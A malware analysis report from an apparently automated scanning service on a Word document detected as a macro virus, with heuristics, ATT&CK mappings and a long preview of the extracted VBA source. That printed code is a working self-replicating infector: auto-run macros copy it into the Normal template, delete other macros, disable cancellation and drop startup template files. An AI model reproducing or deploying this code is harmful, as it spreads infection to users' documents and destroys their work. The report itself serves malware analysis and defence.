MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file exhibits high-confidence indicators of maliciousness, including legacy WordBasic and VBA macro firings, and specific ClamAV detections (Doc.Trojan.Mamm-1, Doc.Trojan.Titasic-3). The VBA macro code, named 'PartaiBulanBintang', appears to be designed to copy itself and potentially execute further actions, suggesting it acts as a downloader or dropper for a second-stage payload. The presence of AutoOpen and AutoClose macros further supports the execution of malicious code upon document opening.
Heuristics 5
-
ClamAV: Doc.Trojan.Mamm-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mamm-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5969 bytes |
SHA-256: b33fabfbad6e6514e22c0125abdc65fdfa4ef7a468baf4475a788b6f63e6c832 |
|||
|
Detection
ClamAV:
Doc.Trojan.Titasic-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "PartaiBulanBintang"
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Public AD As Object, aDes As Variant
Public NonPbb As Boolean, afound As Boolean, hapus As Boolean, reset As Boolean, aExc As Boolean, DocCount As Boolean
Function AstMaster()
Dim nmak(1) As String
Dim NT As Object
Dim aSrc$
On Error GoTo selesai
nmak(0) = "PartaiBulanBintang"
nmak(1) = "frmPBB"
aSrc = MacroContainer
Set NT = NormalTemplate
If Not DocCount Then
Set AD = ActiveDocument
ElseIf aSrc <> "Party.dot" Then
aSrc = NT
End If
If aSrc = NT Then
aSrc = NT.FullName: Set aDes = AD
ElseIf aSrc = AD Then
aSrc = AD.FullName: Set aDes = NT
ElseIf aSrc = "Party.dot" Then
Set aDes = NT
aSrc = Options.DefaultFilePath(8) & "\Party.src"
End If
Mhapus aDes
With aDes.VBProject
If Not (Not hapus And .Description = "PartaiBulanBintang" And .VBComponents.Count > 2) Then
Mcopy aSrc, aDes, nmak
hapus = False
.Description = "PartaiBulanBintang"
If aDes = NT Then
Options.SaveInterval = 1
CustomizationContext = NT
CommandBars("Tools").reset
KeyBindings.Add KeyCode:=BuildKeyCode(77, 1024), KeyCategory:=1, _
Command:="ToolsRecordMacroStart"
aDes.Save
End If
CommandBars("Macro").Controls(2).OnAction = "ViewVbCode"
Else
GoTo Aksi
End If
End With
If afound = True Then Exit Function
Refresh
On Error Resume Next
Aksi:
If aExc = True Then Exit Function
Exit Function
selesai:
If Err.Number = 50289 Then MsgBox "Terimakasih Anda Telah" & Chr(13) & "Memproteksi Word dengan Aman", vbInformation, "frmPBB"
End Function
Sub Mhapus(Sfile)
Dim nmak As Object
For Each nmak In Sfile.VBProject.VBComponents
If nmak.Name = "NewMacros" Then NonPbb = True
If nmak.Name <> "ThisDocument" And nmak.Name <> "NewMacros" _
And nmak.Name <> "PartaiBulanBintang" And nmak.Name <> "frmPBB" Then
hapus = True
If reset Then
Application.OrganizerDelete Sfile.FullName, nmak.Name, 3
Else
nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
End If
End If
Next nmak
End Sub
Sub Mcopy(Sfile, Dfile, nmak)
Dim aNmak
For Each aNmak In nmak
Application.OrganizerCopy Sfile, Dfile.FullName, aNmak, 3
Next
End Sub
Sub Action()
On Error Resume Next
WBT
If Day(Now()) < 5 Then frmPBB.Show
WBF
End Sub
Sub FileOpen()
If Day(Now()) < 5 Then ShowCursor (False)
WBT
If Dialogs(80).Show <> 0 Then
WBF
AutoOpen
Else
WBF
End If
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
AstMaster
If Documents.Count > 1 Then
For i = 1 To Documents.Count
If Documents(i).Name <> ActiveDocument.Name Then
Set AD = Documents(i)
DocCount = True
hapus = False
AstMaster
End If
Next
End If
If Day(Now()) < 5 Then frmPBB.Show
End
End Sub
Sub ViewVbCode()
ShowCursor (False)
End Sub
Sub AutoExec()
On Error Resume Next
If MacroContainer <> NormalTemplate Then
aExc = True
AstMaster
WBT
AddIns.Unload False
WBF
End If
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub AutoExit()
Dim aAddin As Object
On Error GoTo batal
WBT
If Documents.Count <> 0 Then Documents.Close
Options.DefaultFilePath(2) = Options.DefaultFilePath(6)
afound = True
For Each aAddin In AddIns
If aAddin.Name = "Party.dot" Then afound = False
Next aAddin
If afound = True Then
Application.Visible = False
Documents.Add
AstMaster
With ActiveDocument
.SaveAs FileName:=Options.DefaultFilePath(8) & "\Party.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
.SaveAs FileName:=Options.DefaultFilePath(8) & "\Party.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
End With
End If
Application
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.